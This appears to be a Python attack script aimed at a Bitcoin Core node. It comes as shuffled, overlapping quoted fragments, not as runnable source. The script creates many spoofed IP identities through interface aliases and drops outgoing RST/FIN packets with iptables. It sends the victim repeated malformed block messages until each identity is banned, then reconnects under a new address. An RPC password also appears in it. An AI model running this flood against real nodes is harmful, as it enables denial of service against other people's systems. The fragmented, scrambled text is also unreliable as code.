"({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...') try: s.connect((dst_ip, dst_port))",
"{interface} {ip} down') except: pass # This function is ran",
"CBlock from io import BytesIO as _BytesIO import atexit import",
"+= b\"\\x00\" * (12 - len(name)) res += struct.pack(b\"<I\", len(body))",
"s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose: print(f'Binding",
"a normal node return msg # Close a connection def",
"> {iptables_file_path}') # Restore the backup of the iptable rules",
"By forcing the IP to be above a certain threshhold,",
"nBits=0, nNonce=nNonce, vtx=() ) name = 'block' f = _BytesIO()",
"print('Creating network socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting",
"a random identity using the broadcast address template def random_ip():",
"print('Cleaning up iptables configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) # Remove",
"terminal(cmd): return os.popen(cmd).read() # Send commands to the Bitcoin Core",
"was banned ({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip, False) # Initialize",
"then restored when the script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' #",
"if ip not in [x[0] for x in identity_address]: break",
"res += struct.pack(b\"<I\", len(body)) #th = hashlib.sha256(body).digest() # add checksum",
"Save a backyp of the iptable rules def backup_iptables(): terminal(f'iptables-save",
"'' while(old_ip != ip): old_ip = ip ip = ip.replace('255',",
"{src_port})') make_fake_connection(random_ip(), dst_ip, False) # Initialize the network def initialize_network_info():",
"socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) while success == -1: print(f'Setting socket",
": {dst_port})...') try: s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip, src_port, interface)",
"the network def initialize_network_info(): print('Retrieving network info...') global default_gateway, network_interface,",
"bitcoin.net import CAddress from bitcoin.core import CBlock from io import",
"for each successful connection identity_socket = [] # Keeps the",
"identity using the broadcast address template def random_ip(): # By",
"to have root privileges to run this script.\\nPlease try again,",
"victim_ip: continue if ip not in [x[0] for x in",
"range(32)) nTime = int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce",
"as _BytesIO import atexit import bitcoin import fcntl import hashlib",
"struct.pack(b\"<I\", len(body)) #th = hashlib.sha256(body).digest() # add checksum #h =",
"Bitcoin info def initialize_bitcoin_info(): print('Retrieving bitcoin info...') global bitcoin_subversion global",
"# Send commands to the Linux terminal def terminal(cmd): return",
"# Construct a block packet using python-bitcoinlib def block_packet_bytes(): hashPrevBlock",
"the script is stopped def on_close(): print('Closing open sockets') for",
"if verbose: print('Attaching attacker script {interface}') try: start_new_thread(attack, (), {",
"os.remove(iptables_file_path) # Remove all ip aliases that were created by",
"the victim, wait this many seconds before sending each version",
"specified identity def ip_alias(ip_address): global alias_num print(f'Setting up IP alias",
"{interface} -p tcp --tcp-flags ALL RST,ACK -j DROP') terminal(f'sudo iptables",
"the IP to be above a certain threshhold, it prevents",
"on {network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address} netmask",
"-I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN,ACK -j",
"can use this to recover the network #def reset_network(): #",
"# Generate a random identity using the broadcast address template",
"Initialize the network def initialize_network_info(): print('Retrieving network info...') global default_gateway,",
"m != None: broadcast_address = m.group(1).strip() else: print('Error: Network broadcast",
"a version packet using python-bitcoinlib def version_packet(src_ip, dst_ip, src_port, dst_port):",
"_thread import start_new_thread from bitcoin.messages import * from bitcoin.net import",
"#return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking the internet by sending",
"pass # This function is ran when the script is",
"-o {interface} -p tcp --tcp-flags ALL FIN,ACK -j DROP') terminal(f'sudo",
"break close_connection(socket, src_ip, src_port, interface) print(f'Peer was banned ({src_ip} :",
"script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to the",
"if verbose: print(f'Successfully set up IP alias on interface {interface}')",
"s.send(verack.to_bytes()) # Get verack packet verack = s.recv(1024) if verbose:",
"# Restore any pre-existing iptables before backing up, just in",
"google.com') == 0 # If all else fails, we can",
"Network interface couldn\\'t be found.') sys.exit() # Get the broadcast",
"identity_socket = [] # Keeps the socket for each successful",
"min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True): ip = broadcast_address old_ip =",
"successful connection identity_socket = [] # Keeps the socket for",
"prevents a lot of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) +",
"0 # If all else fails, we can use this",
"IP alias interface and IP for each successful connection identity_address",
"= msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack packet verack = s.recv(1024)",
"m.group(1).strip() else: print('Error: Network broadcast IP couldn\\'t be found.') sys.exit()",
"version repeatedly, until banned def attack(socket, src_ip, src_port, dst_ip, dst_port,",
"socket to ({src_ip} : {src_port})...') s.bind((src_ip, src_port)) if verbose: print(f'Connecting",
"bitcoin info...') global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion",
"victim_port print(f'Creating fake identity ({src_ip} : {src_port}) to connect to",
"if 'subversion' in network_info: bitcoin_subversion = network_info['subversion'] if 'protocolversion' in",
"print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...') try: s.connect((dst_ip,",
"from io import BytesIO as _BytesIO import atexit import bitcoin",
"def initialize_bitcoin_info(): print('Retrieving bitcoin info...') global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion",
"that internet works...') #if not internet_is_active(): # reset_network() # This",
"run this script.\\nPlease try again, this time using 'sudo'. Exiting.\\n\")",
"internet_is_active(): # return os.system('ping -c 1 google.com') == 0 #",
"up iptables configurations') terminal(f'sudo iptables -I OUTPUT -o {interface} -p",
"for socket in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.')",
"#if not internet_is_active(): # reset_network() # This is the first",
"script terminates cleanup_iptables() # Restore any pre-existing iptables before backing",
"msg.addrFrom.ip = src_ip msg.addrFrom.port = src_port msg.addrTo.ip = dst_ip msg.addrTo.port",
"= m.group(2).strip() else: print('Error: Network interface couldn\\'t be found.') sys.exit()",
"iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN,ACK",
"for a specified identity def ip_alias(ip_address): global alias_num print(f'Setting up",
"except ConnectionRefusedError: print('Connection was refused. The victim\\'s node must not",
"#hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=() ) name = 'block' f",
"msg.addrTo.ip = dst_ip msg.addrTo.port = dst_port # Default is /python-bitcoinlib:0.11.0/",
"bitcoin_subversion = network_info['subversion'] if 'protocolversion' in network_info: bitcoin_protocolversion = network_info['protocolversion']",
"couldn\\'t be found.') sys.exit() # Initialize Bitcoin info def initialize_bitcoin_info():",
"= 0 # Increments each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) #",
"found.') sys.exit() # Get the broadcast address of the network",
"if verbose: print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen to",
"m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}')) if m !=",
"simultaneously num_identities = 8 # While attacking the victim, wait",
"by sending a single ping to Google #def internet_is_active(): #",
"How many identities should run simultaneously num_identities = 8 #",
"socket if interface in identity_interface: identity_interface.remove(interface) if (ip, port) in",
"[] # Keeps the IP and port for each successful",
"identity_interface: identity_interface.remove(interface) if (ip, port) in identity_address: identity_address.remove((ip, port)) print(f'Successfully",
"shutdown without restoring backup_iptables() # Create the connections for i",
"bitcoin.core import CBlock from io import BytesIO as _BytesIO import",
"s.recv(1024) if verbose: print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen",
"= network_info['subversion'] if 'protocolversion' in network_info: bitcoin_protocolversion = network_info['protocolversion'] except:",
"a connection def close_connection(socket, ip, port, interface): socket.close() terminal(f'sudo ifconfig",
"src_ip, src_port, interface) print(f'Peer was banned ({src_ip} : {src_port})') make_fake_connection(random_ip(),",
"many seconds before sending each version message seconds_between_version_packets = 0.1",
"identity_address]: break return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking",
"-I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST -j",
"iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration') terminal(f'iptables-restore",
"just in case if the computer shutdown without restoring backup_iptables()",
"hashlib import json import os import random import re import",
"# Creates a fake connection to the victim def make_fake_connection(src_ip,",
"were created by the script def cleanup_ipaliases(): for i in",
"the script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to",
"alias {ip_address} on {network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface}",
"IP to be above a certain threshhold, it prevents a",
"_ in range(4)) res += body return res # Construct",
"= socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting socket network interface to",
"if verbose: print(f'Binding socket to ({src_ip} : {src_port})...') s.bind((src_ip, src_port))",
"of the iptable rules def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') #",
"single ping to Google #def internet_is_active(): # return os.system('ping -c",
"time using 'sudo'. Exiting.\\n\") # Specify the attacker's genuine IP",
"1 google.com') == 0 # If all else fails, we",
"= s.recv(1024) if verbose: print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) #",
"running.') print(f'Successful connections: {len(identity_address)}\\n') # Prevent the script from terminating",
"print('Error: unable to start thread to sniff interface {interface}') #",
"interface {interface}') # Send version repeatedly, until banned def attack(socket,",
"b'\\xf9\\xbe\\xb4\\xd9' res += name.encode() res += b\"\\x00\" * (12 -",
"packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack packet verack",
"if verbose: print('Setting up iptables configurations') terminal(f'sudo iptables -I OUTPUT",
"address: ') # Specify the victim's IP, and port (8333",
"fake connection to the victim def make_fake_connection(src_ip, dst_ip, verbose=True): src_port",
"m = re.search(r'default +via +([^ ]+) +dev +([^ ]+)', terminal('ip",
"the network interface # Used as an IP template of",
"for each successful connection # The file where the iptables",
"{interface}') # Send version repeatedly, until banned def attack(socket, src_ip,",
"h[:4] res += bytearray(random.getrandbits(8) for _ in range(4)) res +=",
"the Bitcoin Core Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame",
"dst_ip, verbose=True): src_port = random.randint(1024, 65535) dst_port = victim_port print(f'Creating",
"DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags",
"range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for _ in range(32)) nTime =",
"make_fake_connection(random_ip(), dst_ip, False) return # Send version packet version =",
"try: make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip) except ConnectionRefusedError: print('Connection",
"255)), 1) # Don't accept already assigned IPs if ip",
"close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip, False) return # Send",
"banned ({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip, False) # Initialize the",
"255.255.255.0 broadcast {broadcast_address} up') alias_num += 1 return interface #",
"make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip) except ConnectionRefusedError: print('Connection was",
"the iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration')",
"verack packet verack = s.recv(1024) if verbose: print('Connection successful!') identity_address.append((src_ip,",
"sys.exit() # Get the broadcast address of the network interface",
"the script def cleanup_ipaliases(): for i in range(0, len(identity_address)): try:",
"identity_socket.remove(socket) else: del socket if interface in identity_interface: identity_interface.remove(interface) if",
"verbose: print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen to the",
"res += body return res # Construct a version packet",
"== '__main__': global alias_num alias_num = 0 # Increments each",
"the default gateway m = re.search(r'default +via +([^ ]+) +dev",
"= 'block' f = _BytesIO() msg.stream_serialize(f) body = f.getvalue() res",
"from bitcoin.core import CBlock from io import BytesIO as _BytesIO",
"= bitcoin_subversion.encode() # Look like a normal node return msg",
"interface }) except: print('Error: unable to start thread to sniff",
"case if the computer shutdown without restoring backup_iptables() # Create",
"the network interface of the default gateway m = re.search(r'default",
"1): try: make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip) except ConnectionRefusedError:",
"str(random.randint(minimum_ip_range, 255)), 1) # Don't accept already assigned IPs if",
"verack packet verack = s.recv(1924) # Send verack packet verack",
"def ip_alias(ip_address): global alias_num print(f'Setting up IP alias {ip_address} on",
"identity_socket: identity_socket.remove(socket) else: del socket if interface in identity_interface: identity_interface.remove(interface)",
"and port (8333 for Bitcoin) victim_ip = input('Enter victim\\'s IP",
"= '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try: network_info = None #json.loads(bitcoin('getnetworkinfo'))",
"the connections for i in range(1, num_identities + 1): try:",
"address: ') victim_port = 8333 # How many identities should",
"# terminal(f'sudo ifconfig {network_interface} {attacker_ip} down') # terminal(f'sudo ifconfig {network_interface}",
"= dst_port # Default is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() #",
"# print('Resetting network...') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} down') #",
"-rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read() # Generate a random",
"ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully set up IP alias on",
"Restore the backup of the iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)):",
"is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() # Look like a normal",
"a fake connection to the victim def make_fake_connection(src_ip, dst_ip, verbose=True):",
"([^ ]+)', terminal(f'ifconfig {network_interface}')) if m != None: broadcast_address =",
"except: pass # Save a backyp of the iptable rules",
"interface of the default gateway m = re.search(r'default +via +([^",
"Keeps the socket for each successful connection # The file",
"when the script terminates cleanup_iptables() # Restore any pre-existing iptables",
"ip == default_gateway: continue if ip == victim_ip: continue if",
"# reset_network() # This is the first code to run",
"{interface}') if verbose: print('Resulting ifconfig interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip()",
"print('Setting up iptables configurations') terminal(f'sudo iptables -I OUTPUT -o {interface}",
"backup is saved, then restored when the script ends iptables_file_path",
"Get the network interface of the default gateway m =",
"already assigned IPs if ip == default_gateway: continue if ip",
"Used as an IP template of what can change, so",
"terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) # Remove all ip aliases that",
"global alias_num alias_num = 0 # Increments each alias initialize_network_info()",
"== 0 # If all else fails, we can use",
"certain threshhold, it prevents a lot of errors minimum_ip_range =",
"packet verack = s.recv(1924) # Send verack packet verack =",
"network #def reset_network(): # print('Resetting network...') # terminal(f'sudo ifconfig {network_interface}",
"of what can change, so that packets still come back",
"connect to ({dst_ip} : {dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface) if",
"in range(0, len(identity_address)): try: ip = identity_address[i][0] interface = identity_interface[i]",
"to ({src_ip} : {src_port})...') s.bind((src_ip, src_port)) if verbose: print(f'Connecting ({src_ip}",
"= CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce,",
"{src_port}) to connect to ({dst_ip} : {dst_port})...') interface = ip_alias(src_ip)",
"= s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) while success == -1:",
"as an IP template of what can change, so that",
"src_port = random.randint(1024, 65535) dst_port = victim_port print(f'Creating fake identity",
"verbose=True): src_port = random.randint(1024, 65535) dst_port = victim_port print(f'Creating fake",
"hashlib.sha256(body).digest() # add checksum #h = hashlib.sha256(th).digest() #res += h[:4]",
"{interface}').rstrip() + '\\n') if verbose: print('Setting up iptables configurations') terminal(f'sudo",
"python-bitcoinlib def version_packet(src_ip, dst_ip, src_port, dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion",
"os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read() # Generate a",
"ALL FIN -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface}",
"-o {interface} -p tcp --tcp-flags ALL RST,ACK -j DROP') terminal(f'sudo",
"this script.\\nPlease try again, this time using 'sudo'. Exiting.\\n\") #",
"genuine IP attacker_ip = input('\\nEnter attacker\\'s IP address: ') #",
"IP address: ') # Specify the victim's IP, and port",
"a specified identity def ip_alias(ip_address): global alias_num print(f'Setting up IP",
"IP attacker_ip = input('\\nEnter attacker\\'s IP address: ') # Specify",
"normal node return msg # Close a connection def close_connection(socket,",
"tcp --tcp-flags ALL FIN,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT",
"{network_interface} {attacker_ip} down') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} up') #",
"num_identities = 8 # While attacking the victim, wait this",
"if __name__ == '__main__': global alias_num alias_num = 0 #",
"# Prevent the script from terminating when the sniff function",
"range(4)) res += body return res # Construct a version",
"to recover the network #def reset_network(): # print('Resetting network...') #",
"-c 1 google.com') == 0 # If all else fails,",
"interface): socket.close() terminal(f'sudo ifconfig {interface} {ip} down') if socket in",
"# Create an alias for a specified identity def ip_alias(ip_address):",
"+([^ ]+)', terminal('ip route')) if m != None: default_gateway =",
"terminal(f'ifconfig {network_interface}')) if m != None: broadcast_address = m.group(1).strip() else:",
"[] # Keeps the socket for each successful connection #",
"errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True): ip =",
"msg # Close a connection def close_connection(socket, ip, port, interface):",
"except: print('Error: unable to start thread to sniff interface {interface}')",
"if 'protocolversion' in network_info: bitcoin_protocolversion = network_info['protocolversion'] except: pass #",
"s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) while success == -1: print(f'Setting",
"name.encode() res += b\"\\x00\" * (12 - len(name)) res +=",
"= version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes()) # Get verack packet",
"port)) print(f'Successfully closed connection to ({ip} : {port})') # Creates",
"+via +([^ ]+) +dev +([^ ]+)', terminal('ip route')) if m",
"import struct import sys import time import datetime if os.geteuid()",
"ConnectionRefusedError: print('Connection was refused. The victim\\'s node must not be",
"accept already assigned IPs if ip == default_gateway: continue if",
"open sockets') for socket in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup",
"dst_ip msg.addrTo.port = dst_port # Default is /python-bitcoinlib:0.11.0/ msg.strSubVer =",
"else: del socket if interface in identity_interface: identity_interface.remove(interface) if (ip,",
"json import os import random import re import socket import",
"initialize_bitcoin_info() atexit.register(on_close) # Make on_close() run when the script terminates",
"os.geteuid() != 0: sys.exit(\"\\nYou need to have root privileges to",
"input('\\nEnter attacker\\'s IP address: ') # Specify the victim's IP,",
"-o {interface} -p tcp --tcp-flags ALL RST -j DROP') if",
"src_port, dst_port) s.send(version.to_bytes()) # Get verack packet verack = s.recv(1924)",
"# Remove all ip aliases that were created by the",
"{ip_address} on {network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address}",
"of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True): ip",
"{network_interface}')) if m != None: broadcast_address = m.group(1).strip() else: print('Error:",
"Create the connections for i in range(1, num_identities + 1):",
"threshhold, it prevents a lot of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]),",
"socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying that internet works...')",
"up IP alias {ip_address} on {network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo",
"Core Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 '",
"is ran when the script is stopped def on_close(): print('Closing",
"victim_ip) except ConnectionRefusedError: print('Connection was refused. The victim\\'s node must",
"Don't accept already assigned IPs if ip == default_gateway: continue",
"struct import sys import time import datetime if os.geteuid() !=",
"try: socket.send(block) except Exception as e: print(e) break close_connection(socket, src_ip,",
"_ in range(32)) nTime = int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8,",
"random import re import socket import struct import sys import",
"def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for _ in range(32)) hashMerkleRoot",
"default_gateway, network_interface, broadcast_address # Get the network interface of the",
"each successful connection identity_socket = [] # Keeps the socket",
"return msg # Close a connection def close_connection(socket, ip, port,",
"socket.SOCK_STREAM) if verbose: print(f'Setting socket network interface to \"{network_interface}\"...') success",
"m != None: default_gateway = m.group(1).strip() network_interface = m.group(2).strip() else:",
"+ cmd).read() # Generate a random identity using the broadcast",
"ip): old_ip = ip ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1)",
"network def initialize_network_info(): print('Retrieving network info...') global default_gateway, network_interface, broadcast_address",
"victim def make_fake_connection(src_ip, dst_ip, verbose=True): src_port = random.randint(1024, 65535) dst_port",
"sockets') for socket in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete.",
"= bytearray(random.getrandbits(8) for _ in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for",
"start thread to sniff interface {interface}') # Send version repeatedly,",
"src_port)) identity_socket.append(s) # Listen to the connections for future packets",
"back to the sender m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig",
"on_close() run when the script terminates cleanup_iptables() # Restore any",
"else fails, we can use this to recover the network",
"and port for each successful connection identity_socket = [] #",
"Send commands to the Linux terminal def terminal(cmd): return os.popen(cmd).read()",
"attacking the victim, wait this many seconds before sending each",
"print(f'Successfully closed connection to ({ip} : {port})') # Creates a",
"Initialize Bitcoin info def initialize_bitcoin_info(): print('Retrieving bitcoin info...') global bitcoin_subversion",
"on_close(): print('Closing open sockets') for socket in identity_socket: socket.close() cleanup_ipaliases()",
"ifconfig {network_interface} {attacker_ip} down') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} up')",
"e: print(e) break close_connection(socket, src_ip, src_port, interface) print(f'Peer was banned",
"alias_num = 0 # Increments each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close)",
"# How many identities should run simultaneously num_identities = 8",
"str(network_interface + '\\0').encode('utf-8')) while success == -1: print(f'Setting socket network",
"'\\n') if verbose: print('Setting up iptables configurations') terminal(f'sudo iptables -I",
"rules def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') # Restore the backup",
"alias for a specified identity def ip_alias(ip_address): global alias_num print(f'Setting",
"successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen to the connections for",
"default_gateway = m.group(1).strip() network_interface = m.group(2).strip() else: print('Error: Network interface",
"!= None: broadcast_address = m.group(1).strip() else: print('Error: Network broadcast IP",
"ran when the script is stopped def on_close(): print('Closing open",
"res # Construct a version packet using python-bitcoinlib def version_packet(src_ip,",
"# Get the network interface of the default gateway m",
"s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip, False)",
"was refused. The victim\\'s node must not be running.') print(f'Successful",
"identity_address = [] # Keeps the IP and port for",
"dst_port = victim_port print(f'Creating fake identity ({src_ip} : {src_port}) to",
"nNonce=nNonce, vtx=() ) name = 'block' f = _BytesIO() msg.stream_serialize(f)",
"print('Attaching attacker script {interface}') try: start_new_thread(attack, (), { 'socket': s,",
"the sender m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}')) if",
"print(f'Successfully set up IP alias on interface {interface}') if verbose:",
"the script terminates cleanup_iptables() # Restore any pre-existing iptables before",
"# Increments each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make on_close()",
"up IP alias on interface {interface}') if verbose: print('Resulting ifconfig",
"Bitcoin) victim_ip = input('Enter victim\\'s IP address: ') victim_port =",
"src_port, interface) make_fake_connection(random_ip(), dst_ip, False) return # Send version packet",
"address of the network interface # Used as an IP",
"if os.geteuid() != 0: sys.exit(\"\\nYou need to have root privileges",
"IP address: ') victim_port = 8333 # How many identities",
"an IP template of what can change, so that packets",
"version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes()) # Get verack packet verack",
"come back to the sender m = re.search(r'broadcast ([^ ]+)',",
"up IP alias {ip} on {interface}') terminal(f'sudo ifconfig {interface} {ip}",
"print('Resetting network...') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} down') # terminal(f'sudo",
"be found.') sys.exit() # Initialize Bitcoin info def initialize_bitcoin_info(): print('Retrieving",
"verbose: print('Attaching attacker script {interface}') try: start_new_thread(attack, (), { 'socket':",
"src_port msg.addrTo.ip = dst_ip msg.addrTo.port = dst_port # Default is",
"version packet version = version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes()) #",
"# If all else fails, we can use this to",
"for future packets if verbose: print('Attaching attacker script {interface}') try:",
"still come back to the sender m = re.search(r'broadcast ([^",
"def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') # Restore the backup of",
"port (8333 for Bitcoin) victim_ip = input('Enter victim\\'s IP address:",
"-I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST,ACK -j",
"body return res # Construct a version packet using python-bitcoinlib",
"False) return # Send version packet version = version_packet(src_ip, dst_ip,",
"{len(identity_address)}\\n') # Prevent the script from terminating when the sniff",
"fake identity ({src_ip} : {src_port}) to connect to ({dst_ip} :",
"while True: if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try: socket.send(block) except",
"m.group(1).strip() network_interface = m.group(2).strip() else: print('Error: Network interface couldn\\'t be",
"if the computer shutdown without restoring backup_iptables() # Create the",
"{attacker_ip} down') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} up') # Create",
"ping to Google #def internet_is_active(): # return os.system('ping -c 1",
"Google #def internet_is_active(): # return os.system('ping -c 1 google.com') ==",
"identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying that internet",
"random identity using the broadcast address template def random_ip(): #",
"src_port)) if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} :",
"= f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9' res += name.encode() res +=",
"initialize_network_info(): print('Retrieving network info...') global default_gateway, network_interface, broadcast_address # Get",
"import CAddress from bitcoin.core import CBlock from io import BytesIO",
"to the sender m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}'))",
"internet works...') #if not internet_is_active(): # reset_network() # This is",
"works...') #if not internet_is_active(): # reset_network() # This is the",
"without restoring backup_iptables() # Create the connections for i in",
"import BytesIO as _BytesIO import atexit import bitcoin import fcntl",
"ip not in [x[0] for x in identity_address]: break return",
"def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read()",
"ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up') alias_num +=",
"info...') global default_gateway, network_interface, broadcast_address # Get the network interface",
"1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock,",
"network_info['subversion'] if 'protocolversion' in network_info: bitcoin_protocolversion = network_info['protocolversion'] except: pass",
"set up IP alias on interface {interface}') if verbose: print('Resulting",
